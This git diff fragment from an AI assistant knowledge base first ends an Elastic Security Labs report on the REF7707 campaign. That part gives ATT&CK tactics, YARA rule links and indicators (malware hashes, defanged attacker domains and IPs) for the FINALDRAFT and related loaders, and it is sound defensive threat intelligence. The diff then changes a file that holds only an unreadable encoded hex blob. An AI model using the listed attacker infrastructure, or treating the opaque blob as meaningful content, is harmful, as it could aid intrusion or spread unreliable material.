ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. + +* [Reconnaissance](https://attack.mitre.org/tactics/TA0043/) +* [Execution](https://attack.mitre.org/tactics/TA0002) +* [Persistence](https://attack.mitre.org/tactics/TA0003) +* [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005) +* [Credential Access](https://attack.mitre.org/tactics/TA0006) +* [Discovery](https://attack.mitre.org/tactics/TA0007) +* [Lateral Movement](https://attack.mitre.org/tactics/TA0008) +* [Collection](https://attack.mitre.org/tactics/TA0009) +* [Command and Control](https://attack.mitre.org/tactics/TA0011) +* [Exfiltration](https://attack.mitre.org/tactics/TA0010) + +## Detecting REF7707 + +### YARA + +* [FINALDRAFT (Windows)](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar) +* [FINALDRAFT (Linux)](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar) +* [FINALDRAFT (Multi-OS)](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar) +* [PATHLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar) +* [GUIDLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GuidLoader.yar) + +## Observations + +The following observables were discussed in this research. + +| Observable | Type | Name | Reference | +|------------------------------------------------------------------|-------------|-----------------|------------------------| +| `39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530` | SHA-256 | `Session.x64.dll` | FINALDRAFT | +| `83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c` | SHA-256 | `pfman` | FINALDRAFT ELF | +| `f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9` | SHA-256 | `biosets.rar` | FINALDRAFT ELF | +| `9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf` | SHA-256 | `dwn.exe` | PATHLOADER | +| `41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081` | SHA-256 | `5.exe` | GUIDLOADER | +| `d9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461` | SHA-256 | `7.exe` | GUIDLOADER | +| `f29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2` | SHA-256 | `8.exe` | GUIDLOADER | +| `17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0` | SHA-256 | `3.exe` | GUIDLOADER | +| `20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92` | SHA-256 | `1.exe` | GUIDLOADER | +| `33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75` | SHA-256 | `1.exe` | GUIDLOADER | +| `41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9` | SHA-256 | `11.exe` | GUIDLOADER | +| `49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1` | SHA-256 | `2.exe` | GUIDLOADER | +| `5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249` | SHA-256 | `4.exe` | GUIDLOADER | +| `7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0` | SHA-256 | `1.exe` | GUIDLOADER | +| `842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d` | SHA-256 | `2.exe` | GUIDLOADER | +| `f90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12` | SHA-256 | `6.exe` | GUIDLOADER | +| `poster.checkponit[.]com` | domain-name | | REF7707 infrastructure | +| `support.fortineat[.]com` | domain-name | | REF7707 infrastructure | +| `update.hobiter[.]com` | domain-name | | REF7707 infrastructure | +| `support.vmphere[.]com` | domain-name | | REF7707 infrastructure | +| `cloud.autodiscovar[.]com` | domain-name | | REF7707 infrastructure | +| `digert.ictnsc[.]com` | domain-name | | REF7707 infrastructure | +| `d-links[.]net` | domain-name | | REF7707 infrastructure | +| `vm-clouds[.]net` | domain-name | | REF7707 infrastructure | +| `47.83.8[.]198` | ipv4-addr | | REF7707 infrastructure | +| `8.218.153[.]45` | ipv4-addr | | REF7707 infrastructure | +| `45.91.133[.]254` | ipv4-addr | | REF7707 infrastructure | +| `8.213.217[.]182` | ipv4-addr | | REF7707 infrastructure | +| `47.239.0[.]216` | ipv4-addr | | REF7707 infrastructure | + +## References + +The following were referenced throughout the above research: + +* [https://www.elastic.co/security-labs/finaldraft](https://www.elastic.co/security-labs/finaldraft) +* [https://mrd0x.com/the-power-of-cdb-debugging-tool/](https://mrd0x.com/the-power-of-cdb-debugging-tool/) +* [https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html](https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html) + +## About Elastic Security Labs + +Elastic Security Labs is dedicated to creating positive change in the threat landscape by providing publicly available research on emerging threats. + +Follow Elastic Security Labs on X [@elasticseclabs](https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) and check out our research at [www.elastic.co/security-labs/](https://www.elastic.co/security-labs/). You can see the technology we leveraged for this research and more by checking out [Elastic Security](https://www.elastic.co/security). diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.encoded.md index d24748b9f377d..1a588dc647518 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.encoded.md @@ -1 +1 @@ -6023edaf22716eb13601606e8bd37b7f09994156fd4316911bb990de92149cd348dca99f3dd76da328841d803eeaf153fef72d170545dd1397555f5eb9fd7764ca51c5da344959d1abef6a213d62b44781b01369a00344004eb4d410a83d82e3df6ba90ef95b86a6194238bb06b871a4b32a93d1c7017fbf18a089253369be09621f46b70fb3e6223c78b8b87fa20a1c6a847ea817840d020708a6dfee056ecdc4ef2ce9d13b3f6860e828bc79786386c03c466aacf7751a0064835782d5359afbe333c0014056fb3d5abb0b9a7e85ad51f2b2cc58a5b789ce01706f16d231d9d2877e2446a8fa6ab0a58aa2233149334221d7fed339b9d03467bbb779013563cbab14ab36d785c73afbb097a02670d82d27ededa3354214588b26a3b554742f0db2ce2774557a87f092943f22b9684c021e8c2206c6686f80389c16bf5fcd5e596b7d8be9c1f6d82b5c0fea6194cbaee4205fca4b748ce23e104fc6b4ebe565d2c6b5cfa406f104dd2f9b0589d29c2041bcefff9b32ff9827171787da3ddf03f0f6a471591d052fe083c4846c70180cfff46327dc58aec398d52541321d2b9663b32c4366f90a82e7b5bc842b73bdf27e854b6a726f924ffa913696136e12d70fd8f9e088d127bb111a7e0df7e7aee302b3d298898aa7f36103b144c5156eaab1ca3a9c0c25e72d91faf85efd096ffc02b69a8518cb495d100be1eb8ce7ef45bd0e1826427d7259b1a5fb2a575d966583b6505241e1daa1043299f638682c3a3d62c6b50b8eb7db302fba2d39a0b5e79f8d913acc0c4c418460b748ede9f5e710531f92f1cd1fd41507ff62e3d9f83daed6eaa75c3f08d15be1f9e4a84b60a7c43452e862fe1a10b6fef919d828586866fc7e7b2694197a7dc817677b557f40e0b44d52fdd7db8802111cd6369a7cf7c67afa75e9cd27641aaad2403a004cf5f32bf69ffff2b3dd4acdcb36a731cb3cdf851d7a1a43bc7ea9f9f366370cb4bf7b988ff5c5ceb37280385d1f5540fa18f2190702a6c44ce7e7008958f3f4ffb79d13b07a38412b0918f98443d30d068490c0aa8318441cf8f24fae64730072a90dc77d7b1700eea4dcc23202bf57db2d2bff2c3164f230f800a75ac92695c7a4908cb8026b632cb8b62055fcc9acdbac49d42a91b074af2fa4f23389576d5044157b012da08b44f3938d0ac157dd0389912e3c1518ed7c022ce5aa4a21ac3c68d210e317f99c69e788077be91406876e268847b8fdb10e79bd1960da5c41d2e026bcfde26c4cbb4945aa093f9dbee192f47d88b4a608d8267ba4500ef49edb8ccf70ea490be68a8bfa81d4b4f659b05d446359fa6b9d692a944b731400f4aac334ba30f96735ee4c4d9cb96962064b3d210c12ca80b86283657ec437f4fa449348b39bba5f2a283b1f435525d584730efac91495dc090b48d59860d02b907b70f912941bba1b1281b3aafb078941bafb1094183b229c9438724194e0b078e274681823558023a25bc3483f7e564e475426ac4109dd1de614e84775f81b6645236dd55c5bdd18144933806f41d1e2873ee0a346de9baa38834f4a4f8d34db764150006046b111592b21e2839902ae2d3d7ff8d261002f0708764bae6e5084e655fc30c11b31e11a30590f30442a5ee552056f5e18e34956fb19a5087d6d950a1763490cbadaa5069d17e913968aad2a8f5381a6b32edbb2d5c9b63e9cd4d7167923eb57a031660170eff6bcd820cc86896539d9cd919c4615c2d3f6415b9f8181bca02a1d0d9121aa8e6f316f0a508a3ce35c849c771de28c0fa1c8bf5b34921ed557e53ab12e0171943d658bad39a3f9436a2cf7dc9feb9844e96b2ac6c5dcd82d2ffcda2cc41118e222f637f7105941548fd70b83f2ceaa7db667a7dce80003c0deb6bed5807983cc7797c593fbf88eba04a45eb2ed698875cb4008f7c2c441751d3354fac4fea4068cf9f6efad6f5bc87415118aab71db1b02077b49dbf5e47d96443235b1336b03faa58c224fe31e60d5c322c423b82f82e1f133f8003f0a7f3e65ae744b96dacfc1946c661e1bf635480e239e34342572107bf00f08bbb3328d9f024d0eba34035fdb53b49bb8a65ed06ea6738a9190536542899abb5e08fb51de0ca45e9e179b92f8721c91059f964cbd1009361d70cd58e8b7a0976383ccb7836a2c69df201ed667281b9c075f6b2cdd68e07ff8d305982e983de7266dbe084d66c56731d5960325e6d1fd049fdec7907140ed2bb3dabdfc377ed477ae9e758d16330ce84eb8c9c65e93c87e7cc01cf528209e8d2b716d9a097c989516b80f030d35fbf90a4db7a1497a5593ef37da07df769a085b4a7bd11da2b6a2dd272af9a290aa784836059669aefdcbfd9717c6d5a4436b6ffc3ce3c18c45efea081c203925b6850e9270d39556f0d20e67b643e140f04c53783d088497833aaec9f28d43c8e6a72da82fbe161b67cfba56ed05664037739e9c4f4dce0c359b5447ab44b656b044f2b10a0a90f6f934d686f8cd1cc1e7aef8321327ad8279f5d657ae7c11630493c229816c18883daf6f843331193561c93cf74aafd3634799a492219d9073a4d74d28ca9bfe0338f910dadd8f6ec05d79da4dccb4a3c468e245b8e704180ce062429d8c7aa1bb1fdb2d7761a946aa03a1204ad5a0aa531458a6222d30dfbab14de97be212219692bd51b5b9f3bcde2dc078fcbe67c3cae373396b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c5d5b584fb4f22007785a678c314edeb954bc414b158fed2b5ae8ea6e75a28b12163e8bc94ffd514a9f6c7c8b183a2c3f2bd95a265f2914258777dace636eeab27cdb60b3e9b80bca8fdb74787f1b9f97439bb176c5025ec8ad0c67b219644829be63c766ddcaef4d87b3fbff5a52f44277ea4c668936662054d57e2570213da5113a1f8c6730e2d82b14aac429a9e5ded285512ab91fbdb08224e2972f3320290eaa865f79a97fa260b54cf3ad3f99073d20e316b1239115ff0708e2b2d78516116961588fc32a5b126092d4543a52b6dfc095ce1dd84235667b6dc882ac9ac031ea7f12e6b5de7f1bc58d3fcb0ce36349e8dc01f98fbf6c686c342d11ff605d005d218f99be41613596565575ca3096e258e97042248724486054104469b8798d91302e3a77226638a1d88568a12324fc1b2ffea43ac389bb90dce5f13d79e35107b29eb3ae843e0a301a03cf3f9e3912e9624a8a7f8b9e04761cd7c86bd9b926c5cdae1d8a83c4c8c18bdeab3b1456f5d801b0ee52aff85d55163fc8a65c7cba08eb375860e3009380c3c6cf78344ab3ca20a0670cda7753d13868fd87503e308c99802b3777079d73d016ea5678fcea560309ff2f400d3e2c1d2a515243c629df545a4d873c70acb8dfd4a06e12d3de9edb4b8769684db41814d05e98bbfb57342f17f0191608db1ed9a15c191913836d10095da1c479796e6fb9403010ca17954e5f946734743e07e15266225037239a90181a018f771559d7aa63b64a25bac491395a5315ec3ca957753e4e30690e61dcaf8fc47fe59d39d78943d6ac3996f1a89787d1656480ceddad0e28849e7705241745c9168e8abf98bfa419dfbba49781c82c7bbbb5cab1299d9703c0bd1cfa2bfeba1bb6da3d802dbb9c2495a4b0d4c728dfe825c2bac05e8482fa144faa91a701a956b34a53dd1dc219a8de169dfe029d0b3532d2c7a53fd40bbde195f424cfe91889bc39e2978cbd3831ded3a38909382e26597d3e082b1602d6ad4d32f2aa98bf7d9393f1811147ba4a2cb9483adf328ae430dd796f798469597e9bbec94f10db65d0e95849d5fc9982e912c3d6200c4d5ad61bd0c9aa95f2467545ead075d99b364d56d5d1c98129bb32ffa750ba89fd9064fff174dbee7f75140aeae992833671fc28c2b2353b7a03d265f87035b535ff8b1b51d8e3ba264c047e8a4f4b567ee9e94cd35d9399f3d9e1bfe427db5dc97823e0ea5dfc9e232a474c1dd1962f67cd07bbb0bd470748a9f621c5625257f19d82369641ea98395070f678d4d9290ef0848b8571e01259859e14767c6adcf8dd9df68d71a42d827ae2909dfde66929d6fb92945bf1e51e5c61252e1ca50d01a7983885e1bb0d5554139fc26a00fe66c539f9ec651f193fce20dcc3d48123c7176467dafe3cfa5ba63dec3aa7344ad05d7cb15edd46db017b845b02061abb7f756264a2c30ef3daeb37008824baa297d40667c8c67869d2e3d644d7b2a38e4012dcee7584442c0db8c19422093b9f025ae95319b2af8224d93852c1e589d1e25c6caea3da39ea6bcaf48f36452851f43a39ff0dcc92b0371aafdc89f4168975241698f13fe08089b20eeff2b7667e700e2f6c3bfd707b8a434233bf9a68aa60c6dded8a56b7cdc581173705a94a90c6f31fcafcf8f5d130b145ba5cf27ca65438b91effb3c0cf246625ecafa5098685bfd8b9dffe83b7d3faf4455c288a95234d60f8363ec9e0d7478e368bd9709ef2c4b3c4c5ca2accbbea45157e34db5fd6d121561751739168e664fdd003fbc3bad66c947616f88515447e8b888936dfa1484a4d45a04dae94cace1f7c8fd5591f897723f5c2bee71a540cc29ba8f07f707dc41ff3dbc52d72a414fecc5ba0f907f768b99a1dc5cfd3b37422440f6c3d093be2686ae7d76ac8f516b75acf2d4969c663d86d80dd98d7318f546fa33f85f5af124ebd481de59a42fc5cd43313c38e85fc57b7b78686fd58b3ab664f2c1c1ba23b431ce903f4c9bf854ad791d4f090c3b5833fc5f8bae64082dc6ccd3046f8528942be892850940754557ef0a677946dd47e45801cb548086b70db8d21b1b579c605d8881ac0711a6f071443bc5bd1f0542c85eda9baed48a3db933e3b07d2e7f4aec37c6a114183f766efb5aba7a08e08e836ea454296d958ef76ff80faf64105e9d4ecba94389da488d682eefd68b1a769dda901dd77805389df7849f3d7f2a0e7c242ca4085bab50957bd11272c0e117806a532ab0314712cf30b05aa8d943723f217a985b8f7a7a0d1bac2ffeaf89fbbf6c7b842f9d2f1507bf6d88203eaf67ebe00e1d197e9aec41a3f865ce6b39a8447b2d1dedbe1215d8321b79c05a72ba09a51b28cf703a7209dd1205d9dba35bc23e031ce461a2d437abac52b269e832c4da49336ccc203fe1ad8330aa0fb2476225a3450719061894bd18d76a206446cca1b3fd0d6149f2641879b9524422c1c912236523dcbe5c7f531b2ad2ab5d098eb96f2c40d6891c02fe4a9a70260f116442ae6c7f2602e3cb08b45f79b8104cc2468aa50e102f79e9e8697146c806169f01878b4c9df55e3c2943e17333cd131de465b5a68bbc71743f4a778f9816f64667a56636948b814baaf370617318a3f761c43c5a62520ae5db84b3c056a718527a0e0bd41a6560e6f8c66acb61166d209ac6453e9ee39555aee032ae9914c82a2f53ab4d542d32499e2e2c52f5003f2c2e843f94a7d1b56fd06283217b3640496d9f4deb4d2f50ba06bdc728635d6ce72d14e0eb8f02e1c8c0d189cf0c322c26b7121c362c23ba93aa0dce03abe88b08057fca80538a27b527fd9f38b25831227177c94ce868dca3727166ccfb9da1b188cd8a0b624940e7dbdb168b29ad489611a09497c436e97457212ecb772c3b780b94ccb26cef90dd04120de2758f6d8343f6638ed8197a2be3548cd000516701d077848705ae40a44879ff53688b616bb3deb2f3c3243628809fb6d98fe39e079c87bc6fbeaf1a2420511256985446e65d6effb212dae835f3aa302cf6d61da48afb49580cec40a011b7f10a0c926ff346eeb3415b58d6ab140e629186fec5eb2ab42262f84665695e30f1456f719980a3797d51bb9c080e24af7190ee811e99defe1ac7daf179bd51e0a329485006bdbab0de154134813aecc28f3d0e71dd74937ca20f0bb20323ccd5361cb29cb85a4f354a9d4417fdae9f3da6a9057d8034a66534febbb42ac71362880166e1693e3a493c572eaf82474748cbdb97c39976ccd45070e6d288f3e29067f861931b8ef543cbc98a957617359a23eb62e21356c9ab6d39dec305ef2e5573c820a915e253e5f1ad7a8ac0abc70ae99de7aca599a6942db6cccc12714d0a13fb2a184c82183cb6870ec18e5e82c79a27aeb6ea2fad2bdd42a3eba45b8ecdd9e4730ca8227b98b418098ea744ca11879bfdcb1b16b54697f50f562ce253dce48ea5aa96d463806216dc6d6d8eea0fbe060d635b0bbe098a66c742c32fe3d78f4336d06bef5199c53a7b537d5a8811a0616c70a29b0d20efc54d4f5616f39b157d45f3211ef5c681fe3565d3bcc7fbb7c72d54bf6655501cf76589845911d24bae97574b06a750c2a7ef51cf0ccb5c1e884cc94c05729c93e03daad8fa2ca678b12717d0c92dd96a5efaf02c4b25b222c14b9246825ae994eb6688abb84a3def1a84b4683296a63bb8176294b37ffea6dfbdfa2911d09aabb25887f52e6819db17a8c7faba55f8e15b0208dbb0a5c686ca525890afc41d46e105160b0bc1b5569d1467b42465d4f130f288bd7051f2f0560612fdefbe62b964fea1490deb759542a8974712655b64ba2c362d7f2595225794be2b1f615b6b83d7f1b3671313246c7e0ade9754cba1517f37ee03a6db99245f4d90f9fa6d6be1648f145ce879c9eb2949496366d1f7517674d623bebdbe4be64e4eb36e7b1e2c78810d78df676f915bd3f2ade2b74cdd2482a98cc5893080f909930e617acb4494c8dffd1a8d70f2fc8f6ad2407f59c849e0872a7509265fc2feace6fd74f0c066d59343b6901e552127a5eaf19345d24a3beaa58ae91db3058f887abdbdaa88d6bf8f5ba950c693f94b5cdf43282c218798420d451caa08caa8f4d9af7390e795772b15f6a5dc57bda743904ae3cc854b3332c391eed98aea477d5de21de85f93e167c576b9e5c84b9174e6153f14f3a73589731b9792e777b09e390383d6b27a1f8a97881a47916d2de9ef3a11b2e5bc5fa9bdf541602fdae865869e8c1cb8860089714516e0cbe1a28607fc435d760ebc722efac2ddade07c3340a378bf5124176d1eb5723f21489e05292c6f403ffe5e6fe8b030219a323b4c1e4b44179988588aaec3cb3b66de3a623aec2e19bcf29f4dddea59ec6ab7896ed11049c84a3eff96eb97037efb18c5ed7f6506ace45379fef84dbc20c95841aa09b2094c4d7e305cb86adfeadf0fa3f07a83ba415a4e52c282516b85f343efc7c0c692e4f21b10ac43ae16da93aaa7f67a717c715439409351076175ba40a48ada968f53fdee86e09a45a4d6a84a2af1b01d90b18dac4d9f8f575169fb98c9cd41f9f128eca6816e2284dc029770e1d7a69f509590660fd7b0202abfe9e243b8057bffa5bad05e8731149fc6c05f255f74bd3b5dbeeb99820c566d88d748613a00f28d5799e2fca9925a7b290b6085779e7638312a3502d13cc6081df6f895d93c55141b70a537ac5d2e063ba91f1f7521b56a89132dc8c6d59b8fee9001f4118a012f68dd8675a014b4716e2856f7c3b91e82379ea35c99eb08c2392f9ebeddf2bd26ab8e429f31eb0ea8a8aa5a03792862fd21d1463e815c596d283d50c5e901612659c1e0cb642f96f0833d01625e313e7e0a75e59d83998ae49803c858a264bc66088500f82ec63421770ccc4bc44ba084d6c8c80f18e5aaa65636f7413692d3ad6585aa5b2bebd6b12d76afea0938f4fc7d048671c24fcf5f49e0245eaf1c80320c77b4b6e680d1c35b4859b5d029086519fd1a1b8a571076e2656710f0d69e5864c0d2b00f28a301713ab0ca51eb7111fd5b9866507f0bf9ddc54262aec08d9a7f9e172f6aad2a8e728ca088208d13f686b763efa0d7bff767f4e013db7aa6d49d7ac16ccd8a40588ffed0b536b7fa8a6c65e26e41bbadc88400a35e8c5aca44f66b069a11c10ccdaba8c4821ccd2a8308bafc2dda25806dfeba559220c1d85fe4c2d580f5f73a799aa2b839851729a29299127c6ab2180078efc5b5848fe460743a9262871e18737a80faf04fefcd475ff11aaa7556de23837d0bc0b31a28578d08982e9573871c524cdff9873ea02793f78f214614af81ab56de77c5e90e05415292e1f4c775043515cfa78e4d808c437cd90e2b90e966988465c651d1371584b5faad42548ede94bd5b583113e69e2f1daf94bb7583e0723458b26a74bf61876dc89e508bb781bf6f8e128b32d081e5a549d22ec3a1237ee3ad7bf21c31954e99b8fb45688f6c2ece55b092dd59df3c6957dc22f397e026687ec9a4cbc1c4da28d09d18da533825138a6501a7fae792d59a714e4373ac574825b76fa24eb76a99caa16be117a6c4dd615d72493f75f0d83844293b3d708555ed089e2ea40b8781c308f26b68febf785573f4f19c5adf6bbf47b4734794bad43a7f8588b3832aa812758b8edebd3bb1badbe13cf35e0a3b31e9f83a962be7e3a03834e336b62010de90277f560feca349e3661639b54b42555e64e8735ba88dc87d35bc58cde7fd6b1f2241a9b443981fb88878b71bc9f3b62388242402c83aeb83d2d792b94a79fa6bfffbde81e8dd9ce4eaaa80f81ff43a938ac9d85ca195708d1c175c0cee2f0dbcf55cd69487540b329e6d6f6f238d48c6863f113d6c07b7d8a79b2649235a4c7da390c7397d05dca5da28117b9a57ed764205028cd2ad6605739b43252f84b7859ae9c6ea3e4403298059eea5c09099bfb35bb7387ae7e1260a2222c66574fcc828cdab96676c3d4e052af55ab4100f8f16379197d6e5929aee28af716f089137e44ad749747080ca7ee680d99e3ffe625a158a687b54234b96367a17363cf4812285d4781e9d2d365f5217ae53c810d3e3459626855d41af0c580d6f4489af21b71ae2e3b29df7298f286dcdb82e3de603ff41cd7a0e6ebf03313b3ccdb655674ac868df30ade48b860d4282ac6320e27d13d9ae0f3025bc1ea7fc8b81aa5a224fb0f6947dfeaa41dbcaa3ddb9572dd9c6d14f656145bc29d5be0fd9e6987fb1034c221016f71fe392123f0d3474677dc4d8d9124712f2b7bb755d024aac7610278e79993b8989905059393770622d8a91a7f259e09e4b0725b7d8d60f059fc285aa0644203475b6f9f7f9eb4ebf4b3c6d685d5cec741fb49ff23067457444b177322ca9827f470b849606b74c0eaccf953712ad4cdd5404f710bdb864fb8e5dc291cb517833f4a888329c8e75b7a223acd473ac574825b76fa24eb76a99caa16be1dd101cb4ff9b43d6d6016b2a99f3198700dbf8f6472332d3f2b88ba7c804509324e1f6ccaab3088cf7d8f978a070bbafbcfaa523e533fc176ab96b8070394370b47352d8b338919afd79131a5e2e0b65e696f63916663a3211ebab9fd07eb9a460d498c00ec4073b3ef95ae19ee8a7e318de8f296c27d5db776b00641305285abfe2493ade035d73d18232e83a645a3bd1682d3028fc8380a1737bd6ffbe3fe12272a9d63e476940e1c1571d087bc0b51f2f8b51770478b871185ec726a894416113f1d98938eabe2090e8f885c102ada1c3d6c25171ba6b5d7e786a0bbe8a239fb51cfadce50f5f6fb0b10699c1079d70bcdbd88ff7b12a30a62176d5d08b9757a8c4162fb330c6fe010c9bf6f228214179d9d5bb6bc142280bbc8932b2241adb513a3b247a6bc19f168239a3301d46e24e3a3d09bbdac45acaa60df1344584dc5c330cffa96a286a7bc77f6fd71812a807a8e0cd770f04f59bf83b79fd55db3800c5de33d1f1536587c3cd3123c3efbcb9c47c20c4e30d81ae4cd50168da75538ff26531942fd223931c3a1a36d3278b45f237d3ebb0ed249eefc3b44f2a093c05bd904cefbf93dd5fc3a56dbe4e7dc0050786e3a3121549d563b2baa89bc8d528636f17128cf78b4bbee67fbfe7947ba7a272d7e07180d885ad9b7091e4a35c4a270a111b6c0239f7eee288fdbf7c21cd76d58bfa85e1bb48b3af2b0ad65a62ec472d6e27da6eaac6423737a9842315bdb574451156f0cc3ffac8934d9b4bb132fed93f7591b03cd3033a18f9eb756b348d7b7c78ac33df43180087444bd2c9e815e15acc038feedb4b8d30a55ad60612758c4c38e1149be705b344df1e27b312ecc05f3ff6fa6cb8157a5c98350be83d1ea977276be558e2a3f89cd3154e8aadca08adea21bdf112fbcfe725a11e80d7723b2be7cb5734fb2f9f982d4cc691e9b4ff9618ab05604bd38ea7b38af61e93b3b590ceeabf355e9f62ef8cffb416745b0319592bb5f357676f21e1536d63e7a5500459f03f79a6b3cec3671266e726aa7484cbd1a03603a21bc5d33653d852ae4b8c4372890c7c3214d29355ad5fba56cad81486a30665cfc81a6d352a35a7ba4fb9c00bb8603f13667d259c73e3715353f8e02fd29d450e3f9bbac4dbbaae946b94bd284b1231b949d5e4d14ad4c1cfb8acac935cbbee479649f31d84995e9d0bd4ed5f82ab01e7fd550df3c8be6a420681c7c50b9bc5a1fce8c3e14b6efe01d7f803f0fbdbd6ff9f29a9557fe2b0bed6082f6117248a5c2b4aaf9e68ae9a731a0914bea597565c1278abec50f980f126f1395f22d9ee16912752aef7b5f628b0f2fc809bad0fb46ed9d36522c2e037526da4749a4623648af296d906b011fdb040b4c6d8767b15bee223f7b9f37cfa24e2c1827677e0938af9c23a1538ae6858a67f475b04bdfe80a9c739923a0e8fb613afef39e1a5744499a41579f64d454db151a65a06f9b2462a7901c30889ac98d15c689f27e9accf40f9b4ea3abfa7ff9a0c4041620b86f5861572529731ef22b5bda6a1b6aeabfef685009cd313cfa33c69fced0436cf75f6daa8be6234073bc950567e3229e11596656b2fc0e85a4972bb2e6af51ddd3a10c905060204f242a9990aad8baa463de5c701bcb6bcba755d00ea3d07d6fa503b2041b65fefc501b7d807bbefce18b1b260fc70805bd1dec49761450ec466357bf01f2cd1bd246ce4710eab5241c1bbdf915e9c62e683b221630f478353199d9362583189cee0f5244fb5a40dcced0e453f73db771e218eaab04be057409aca902184b8d98acd452f3b9b4b3cc11270b0bd0a29b4b1372786b098f51a39abef4fb2286296afda56836c700b689325cdd2b6ce4a2008c8e7504ceb86457167580cb93b00f74b6bcde7d6cd29dcc22dfb97bbb9ec1803cd4425a4cfbb08ab3af3eda159a309a64617e8396052190dffdfb9ceb71dfa378fb07929b210a8fd26da9944832f4b4e633cbcfc1c732a5821d1abe8b79b6fbf463d1c3ba1a8a60bfb135ef8143f6cd53e7d98183c51c8a5f7a255d4de8594291152a72046a515186fa7732f1a5376e6a655f7b5b9afac28e5c88f3525b0793a828da230dfa13470bffa871afb5fa3391300a68c696f0ac1be30590231070e2c0d746740d04a6e47af8e22af92ba0f1ae9342440fad77fb46afdcf7fb1c3284a4fe8b87c464108f27afa27efeb2d8447b10173d481386037e5dc4c0ea4f98f1aaeee60dd47e3d3456493ab090f4ca398aa430128aa882e5a74f8493cae8ea15480ca3a1d6de46a0e241b7c84da1bdc74f5edbd169674cf965741a22bd0f302a41ea49b4db3deff593f680d3f2a539fc853fdba4d3350904ce947e89e91f943f52eddcf5375c4722712893225777c4935c673643a71ea5927e8513903acd7515b2db167b0c151a360fb1ba005f1ad29c70428c86a64079f28f98fd49439f159903dec04c277dc61272353463c4073b3f7e40010dc112a36fdb5622021217229cdfb7770ac5dace0dd0b0c7b770e5436cc9b88954998ea50854bbc48c1bd6442df233f67c01fcadffd0566d9bdc8766241e791e9beb282a57ae5fe293ae6c374bd0a952111beea33ffc45f8c1432a4120bbbc12f98f393166c14448da5fbdd9bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16e0434b14e64512d6ff321401493b3a1c31432a2dac1277896f4a7fb4f924c0c19cf65bbb7dca81a1ff9fae60869dbd3d3cbbd9a8af992674f221b9bb22d01a391053dcc662b74bfc9d500ed92924da98afd6163250a9ec772f54c4d07a6c5246923a74a1665c6b190c9e08a2436f703e77f949b5db4cb8537b3295ad19f097db93a8e793197f2bc0fd4c3b850e678c5a7d1aadc34ebddedbd103afd0292f5906b54cc40097071f40e62b1e189eb01660f4b50e94f27e69d67dd1b0db9c456b424df792f6bcb226e03ac2ac3558faccce91e1888cf895701a4cd20cdd03e96e6be4cf416706f187fe5c2598b72c9b393a5168da0109450f3bb7ea5aa96c957268f926c2ea524f363670a1f0ec7ce54e8a2293987acb212bb966d9b173ddf7c4872a2f17de8d8250f15186c21f32ec7ba12ce795f625f33e6aeaea1c90fc778fecba9d61962cb17cf22544fdb40edf3d2fecdb744346cc5df03de027733a8a938f648c2d885952bb46df3777663d14e312770f0e16569b7bb00bfabd40edef1df90bdf4df45c462288f034e7ea9086217afb3047517ead9316177a413e836e21d4c6d4fc730064d72dda8b11c62069d5e08fc25bd7ed80cdfd1c935296949d2a401d719e431aac58b5618ba6eef7539fb1e12d1883231b46fe70a6d5dea085f8e33fc158aa4f91adac82c88c64a9d5ca0d35a2e7e2eacf614d58f47782855b3e235f6813b0806c243c95eafc06453f9f79d8c9866c1424198999707786069b6eae8fd73fd2d04f495cca595641bfa104a202f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef99d4374e5f11279adec136cfe7be0e3d8a9f142c6d8755e4c76375188000e4e739dd1bf8fb7be892820cccd1f2fe9f8a6a3a6c169fee45d853eae90662c4fba70b275ecb365a7c4b8e173c8b964e2f82608278264d1ce3263dd6e74dbc43d2e9f5fef8d223c7713fdf9f90363b3fdbfc532d05f044c93012d165c64c139e0429f08234cf17933e2946fc4d8fa4f326694ba531fb1ca6ff7494f